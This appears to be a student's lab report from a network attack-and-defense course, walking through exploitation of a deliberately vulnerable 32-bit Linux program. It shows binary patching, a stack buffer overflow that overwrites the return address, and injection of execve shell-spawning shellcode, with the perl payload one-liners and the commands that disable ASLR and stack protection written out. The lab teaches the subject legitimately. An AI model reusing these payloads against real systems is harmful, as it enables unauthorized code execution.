20211914涂可新 2021-2022-2 《网络攻防实践》实践九报告

20211914涂可新 2021-2022-2 《网络攻防实践》实践九报告

1.实践内容

1.1实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2实践内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

1.3实验要求

(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
(2)掌握反汇编与十六进制编程器。
(3)能正确修改机器指令改变程序执行流程。
(4)能正确构造payload进行bof攻击。

1.4实验基础知识

反汇编

在传统软件开发模型中,程序员使用编译器,汇编器和链接器中的一个或者几个创建可执行程序。为了回溯编程过程(或对程序进行逆向工程),我们使用各种工具来撤销汇编和编译过程。
如果有一个100kb的文件,需要区分其中代码与数据,并把代码转换成汇编语言显示给用户。整个过程中,不遗漏信息。
反汇编器会从大量算法中选择一些适当的算法来处理文件,了解基本算法和其局限后可通过手动干预来提高反汇编输出整体质量。

  • 第一步
    确定进行反汇编代码区域。重点区分数据和指令,以反汇编可执行文件为例,该文件必须符合可执行文件的某种通用格式,如Windows使用的可移植可执行(Portable Executable, PE)格式还有Unix常用的可执行和链接格式(Executable and linking format, ELF),这些格式通常含有一种机制来确定文件中代码和代码入口点的位置(经常表现为层级文件头形式)。
  • 第二步
    确定指令的起始地址,读取该地址(或文件偏移量)所包含的值,并执行一次表查找,将二进制操作码的值与它的汇编语言助记符相对应。
  • 第三步
    获取指令并解码任何所需的操作数,需要对它的汇编语言等价形式进行格式化,并将其在反汇编代码中输出。
  • 第四步
    输出一条指令后,继续反汇编下一条指令,并重复上述过程,知道反汇编完文件中的所有指令。

十六进制编程器

十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。它一直是计算机专业人员非常喜欢的工具。

Shellcode

shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
shellcode可以按照攻击者执行的位置分为本地shellcode和远程shellcode.
本地shellcode:本地运行的shellcode经常用于利用软件漏洞提升权限。比如在Linux下由普通权限提升至root权限。
远程shellcode:利用软件漏洞获得特定的shellcode,再经由C或Python编写远程攻击程序,进而取得对方电脑的root权限。
Shellcode是漏洞利用的必备要素,也是漏洞分析的重要环节,我们可以通过对shellcode进行定位来辅助回溯原理并确定漏洞特征,通过对shellcode功能的分析,我们还可以确定漏洞样本的危害程度的及其目的,并追踪攻击来源,这对apt供给分析中的溯源工作非常有利。

从功能上看,shellcode在整个漏洞利用过程中发挥主要作用就是对计算机端的控制:

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

step1
下载pwn1,放置于kali的20211914文件夹中。

step2
输入指令:objdump -d /home/kali/桌面/20211914/pwn1 | more,开始对pwn1进行反汇编。

step3
根据反汇编结果,我们找到pwn1所使用的getshell、foo、main这三个函数,先分析main函数的汇编指令。

step4

  • 如下图,当main函数按顺序执行到80484b5时,会执行机器指令:e8 d7 ff ff ff,执行汇编指令call 8048491
  • e8和call对应➡汇编指令call对应的机器指令是e8,8048491 代表foo函数➡foo函数的偏移地址是d7 ff ff ff。
  • 这里的EIP地址为80484ba,则call指令跳转的fall函数入口地址(0x08048491)=执行call指令时的EIP地址(0x080484ba)+偏移量(0xffffffd7)。
  • 同理,可以计算出call指令跳转到getshell函数所需的偏移量=getshell函数入口地址(0x0804847d)-执行call指令时的EIP地址(0x080484ba)。
    0x0804847d-0x080484ba=0xffffffc3
  • =>改变程序执行流程,直接跳转到getShell函数的方法是:将e8 d7 ff ff ff改为e8 c3 ff ff ff。

    step5
  • 先备份一份pwn1文件,命名为:pwn20211914。
  • 输入指令vim /home/kali/桌面/20211914/pwn2021191,用vim打开pwn20211914。
  • 如上图,打开后出现一堆乱码,输入指令::%!xxd把乱码转换为16进制。
  • 找到需要修改的e8 d7 ff ff ff中的d7,按a进入修改,然后将d7改为c3。
  • 而后输入指令::%!xxd -r将十六进制还原成原来的乱码,再输入wq保存修改。

  • 输入指令:objdump -d /home/kali/桌面/20211914/pwn20211914 | more,对pwn20211914进行反汇编,检查刚才的修改是否成功。

    step6
    运行pwn20211914,发现通过调用getshell函数获得了shell,说明我们成功按要求改变了程序执行流程。

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

step1
输入指令:objdump -d /home/kali/桌面/20211914/pwn1 | more,对pwn1进行反汇编,然后找到foo函数的汇编指令。
分析可知,对foo函数而言,变量空间确实是0x38,但是缓冲区0x1c(十六进制)=28字节的大小,决定了一旦输入超过28字节就必将造成溢出。

step2

  • 输入指令:gdb pwn1来使用gdb调试pwn1。
  • 输入r运行pwn1。
  • 输入长度为40的字符串(6666666677777777888888889999999919141111)测试foo函数,结果提示段错误,说明出现了数组越界访问,这其实是因为输入超过了预留的28个字节,造成溢出。

    step3
    输入指令:info r来查看寄存器的值,发现EIP寄存器中的值为:0x34313931 ,这里的十六进制34、31、39在ASCll码表中对应的字符正是4、1、9。
    说明在step2中输入的长度40字节的字符串造成了溢出,且溢出部分的33-36字节的1914(37-40字节的1111就没有用到)覆盖了EIP寄存器中的值。

    step4
  • 上述步骤提示我们可以利用foo函数输入溢出后,会将输入的33-36字节自动覆盖EIP寄存器之值这一漏洞,来构造攻击输入字符串,覆盖返回地址。
  • 因为要求触发getShell函数,故构造方法是:构造一个33-36字节为getShell函数入口地址的输入字符串。
  • 则输入指令:perl -e 'print "19141914191419141914191419141914\x7d\x84\x04\x08\x0a"' > input,生成十六进制字符串文件“input”。
  • 输入指令:(cat input; cat) | ./pwn1,使input作为pwn1输入,这样一来,执行foo函数时就会触发getShell函数,最后也成功获得了shell。

2.3注入一个自己制作的shellcode并运行这段shellcode。

step1
输入指令:sudo apt-get install execstack安装execstack。

step2
输入指令:sudo execstack -s ./pwn1,将堆栈设为可执行状态(必做)。
输入指令:sudo execstack -q ./pwn1,查看文件pwn1的堆栈是否为可执行状态。
先输入sudo su进入root模式,输入指令:echo "0" > /proc/sys/kernel/randomize_va_space,关闭地址随机化(必做)。
输入指令:more /proc/sys/kernel/randomize_va_space,查看地址随机化状态。

step3
*使用的shellcode为:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80。
输入指令:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,构造输入的字符串,同理33-36字节会覆盖返回地址。

输入指令:(cat input_shellcode; cat) | ./pwn1,将input_shellcode作为pwn1的输入(此处输入指令后先不按回车执行指令)。

step4
打开另一个终端,然后输入指令:ps -ef | grep pwn1,查询到进程号应是2108(不是2155那个,2155那个是查询进程的进程的进程号)

step5
根据step4中查询到的进程号输入gdb,开始gdb调试,并输入指令:break *0x080484ae,对foo函数的运行设置断点,完成后便可返回step3中的终端按下回车执行指令。

step6

  • 由0xffffd14c+0x00000004=0xffffd150可得到对应的retaddr,得到retaddr便能制作shellcode,公式:32位A+retaddr+nop+shellcode。
  • 则输入指令:perl -e 'print "A" x 32; print"\x50\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'来制作shellcode。
  • 输入指令:(cat input_shellcode; cat) | ./pwn1,将自己刚才制作的shellcode作为pwn的输入注入文件,运行可发现这段自己制作并注入的shellcode攻击成功,最后成功得到了shell。

3.学习中遇到的问题及解决

  • 问题1:使用gdb对pwn1进行调试时,提示打不开目标文件。
  • 问题1解决方案:改了很多次文件路径还是打不开,考虑到可能是gdb缺少某些库,于是卸载gdb重新安装。

    重新安装gdb后,可以使用gdb对pwn1调试了。
  • 问题2:安装execstack时提示无法定位软件包execstack。
  • 问题2解决方案:更新源。

4.实践总结

本次实践是网络攻防实践课程的第九次实践,主要是设法运行可执行文件的代码片段,制作并注入shellcode。通过这次实践,我学习了NOP, JNE, JE, JMP, CMP汇编指令的机器码,复习了十六进制编程器,同时对堆栈和shellcode有了更深入的理解。实验过程中遇到的问题主要和kali安装软件包相关,前几次实验也有类似的情况出现,推测原因为:1.kali是相对安全的系统,不允许随便搭建一些环境,安装一些包。2.自己装的kali版本较新。总得来说,还是学有所获,继续努力吧。

参考资料

posted @ 2022-05-15 22:11  20211914涂可新  阅读(46)  评论(0编辑  收藏  举报